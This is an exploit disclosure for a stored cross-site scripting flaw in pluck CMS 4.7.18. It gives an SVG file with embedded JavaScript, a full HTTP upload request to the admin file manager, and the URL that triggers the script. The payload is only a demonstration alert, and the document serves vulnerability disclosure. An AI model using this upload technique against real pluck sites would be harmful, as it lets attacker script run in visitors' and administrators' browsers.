Exploit Title: pluck v4.7.18 - Stored Cross-Site Scripting (XSS)
Application: pluck
Version: 4.7.18
Bugs:  XSS
Technology: PHP
Vendor URL: https://github.com/pluck-cms/pluck
Software Link: https://github.com/pluck-cms/pluck
Date of found: 01-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux


2. Technical Details & POC
========================================
steps:

1. create .svg file.
2. svg file content:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

3. upload file (http://localhost/pluck-4.7.18/admin.php?action=files)

poc request


POST /pluck-4.7.18/admin.php?action=files HTTP/1.1
Host: localhost
Content-Length: 672
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJMTiFxESCx7aNqmI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pluck-4.7.18/admin.php?action=files
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=s34g5lr0qg5m4qh0ph5plmo8de
Connection: close

------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="filefile"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
------WebKitFormBoundaryJMTiFxESCx7aNqmI
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryJMTiFxESCx7aNqmI--



4. go to http://localhost/pluck-4.7.18/files/svg_xss.svg